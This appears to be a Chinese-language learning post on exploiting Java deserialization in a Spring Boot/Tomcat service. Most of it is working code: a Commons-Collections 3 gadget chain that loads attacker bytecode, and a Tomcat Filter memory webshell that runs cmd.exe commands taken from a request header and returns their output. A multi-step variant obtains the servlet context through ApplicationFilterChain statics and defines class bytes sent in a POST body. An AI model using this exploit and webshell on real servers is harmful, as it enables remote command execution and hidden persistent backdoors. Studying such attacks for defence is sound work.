前言

学习。


环境搭建

Web服务端

CC3依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

反序列化接口:

@RequestMapping("/deserialize")
public String deserialize(@RequestParam(value = "s")String s, Model model) {
    System.out.println(s);
    try {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object obj = objectInputStream.readObject();
        model.addAttribute("res", obj.getClass().getName());
    }catch (Exception e) {
        // pass
    }
    return "deserialize";
}

Payload生成端

cc3、javassist和tomcat依赖:

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.27.0-GA</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>9.0.65</version>
</dependency>

生成序列化对象,通过调用TemplatesImpl类的defineTransletClasses函数的方式可以在服务端远程导入内存马类:

_class[i] = loader.defineClass(_bytecodes[i]);

但是为了不抛出异常,该类需要继承自AbstractTranslet:

final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}

将生成序列化对象的代码和内存马分离:

private static TemplatesImpl getTemplatesImpl() throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException {
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass clazz = pool.get(PwnFilter.class.getName());
    CtClass superClass = pool.get(AbstractTranslet.class.getName());
    clazz.setSuperclass(superClass);
    byte[] classBytes = clazz.toBytecode();
    TemplatesImpl poc = new TemplatesImpl();
    Utils.setField(poc, "_bytecodes", new byte[][]{classBytes});
    Utils.setField(poc, "_name", "Pwn");
    Utils.setField(poc, "_tfactory", TransformerFactoryImpl.newInstance());
    return poc;
}

private static Transformer getChainedInstantiateTransformer(Object poc) {
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{poc}),
    };
    return new ChainedTransformer(transformers);
}

public static Object getObject() throws NoSuchFieldException, CannotCompileException, NotFoundException, IOException {
    Object poc = getTemplatesImpl();
    Transformer transformerChain = getChainedInstantiateTransformer(poc);
    Map<String, String> map = new HashMap<>();
    map.put("Aluvion", "Twings");
    Map lazyMap = LazyMap.decorate(map, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "Twings");
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Utils.setField(badAttributeValueExpException, "val", entry);
    return badAttributeValueExpException;
}

注入内存马的代码可以写在static代码块,也可以写在无参构造函数中:

public class PwnFilter implements Serializable, Filter {
    static {
        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        StandardRoot resources = null;
        try {
            Field f = cl.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
            f.setAccessible(true);
            resources = (StandardRoot)f.get(cl);
        }catch (Exception e) {
            // pass
        }
        if (resources != null) {
            System.out.println(resources.getClass().getName());
            StandardContext context = (StandardContext)resources.getContext();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(new PwnFilter());
            filterDef.setFilterName("filterShell");
            context.addFilterDef(filterDef);
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName("filterShell");
            filterMap.addURLPattern("/filterShell");
            context.addFilterMap(filterMap);
            context.filterStart();
        }else {
            System.out.println("Failed...");
        }
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        try {
            String[] cmd = new String[]{"cmd.exe", "/c", ((RequestFacade)request).getHeader("Twings")};
            byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
            response.getWriter().write(new String(result));
        } catch (Exception e) {
            // pass
        }
    }
}

注入内存马

需要发两个包,首先生成序列化数据,然后交给接口触发反序列化漏洞,导入类的同时将内存马注入到了SpringBoot服务中:

然后再发包访问内存马执行命令并得到回显:

另一种Context获取方式

想要注入Filter内存马就要先获取到Context,而在执行过程中,Tomcat会通过ApplicationFilterChain访问Filter链,其存在两个static属性,通过反射可以访问:

private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

还有一个同样是static的布尔属性成员WRAP_SAME_OBJECT,当该成员的值为true时,ApplicationFilterChain类的internalDoFilter函数会有一些特殊的处理方式:

if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
    lastServicedRequest.set(request);
    lastServicedResponse.set(response);
}

该internalDoFilter函数会在执行过程中被调用,并进入service()函数交予SpringBoot控制器代码,所以交给反序列化时还不会触发后续的重置操作:

finally {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest.set(null);
        lastServicedResponse.set(null);
    }
}

同时由于Context会在Request中保存,因此可以通过修改WRAP_SAME_OBJECT的方式,让ApplicationFilterChain类帮我们把Request保存起来。

这种方式最大的问题就是长度很容易超出上限,所以分成三步进行,第一步修改WRAP_SAME_OBJECT:

public class GetContext {
    public GetContext() {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>)lastServicedResponseField.get(null);
            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null) {
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());
            }
        }catch (Exception e) {
            // pass
        }
    }

    public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    }
}

此时可以在ApplicationFilterChain的静态成员中获取Request和Context,第二步就可以注入内存马,由于HTTP对Header和URI长度有限制,因此将内存马和注入代码放在POST数据中,再从Request中取出:

public class InjectFilter {
    static {
        try {
            Field f = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            f.setAccessible(true);
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)f.get(null);
            ServletRequest servletRequest = lastServicedRequest.get();
            StringBuilder sb = new StringBuilder();
            BufferedReader br = servletRequest.getReader();
            String str;
            while ((str = br.readLine()) != null) {
                sb.append(str);
            }
            System.out.println(sb.toString());
            byte[] payload = Base64.getDecoder().decode(sb.toString());
            Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class clazz = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(), payload, 0, payload.length);
            clazz.newInstance();
        }catch (Exception e) {
            // pass
        }
    }
}

同时将内存马的字节码放在POST数据体里:

public class PwnFilter implements Serializable, Filter {
    static {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>)lastServicedRequestField.get(null);ServletRequest servletRequest = lastServicedRequest.get();
            ServletContext servletContext = servletRequest.getServletContext();
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
            Field context1 = applicationContext.getClass().getDeclaredField("context");
            context1.setAccessible(true);
            StandardContext standardContext = (StandardContext)context1.get(applicationContext);
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(new PwnFilter());
            filterDef.setFilterName("filterShell");
            standardContext.addFilterDef(filterDef);
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName("filterShell");
            filterMap.addURLPattern("/filterShell");
            standardContext.addFilterMap(filterMap);
            standardContext.filterStart();
        }catch (Exception e) {
            // pass
        }
    }

    public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
        try {
            String[] cmd = new String[]{"cmd.exe", "/c", ((RequestFacade)request).getHeader("Twings")};
            byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
            response.getWriter().write(new String(result));
        } catch (Exception e) {
            // pass
        }
    }
}

需要读取字节码然后BASE64一下方便传输:

public static byte[] getBytes() throws CannotCompileException, NotFoundException, IOException {
    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.get(PwnFilter.class.getName());
    return clazz.toBytecode();
}

参考

Tomcat反序列化注入回显内存马

Shiro反序列化与Tomcat内存马注入学习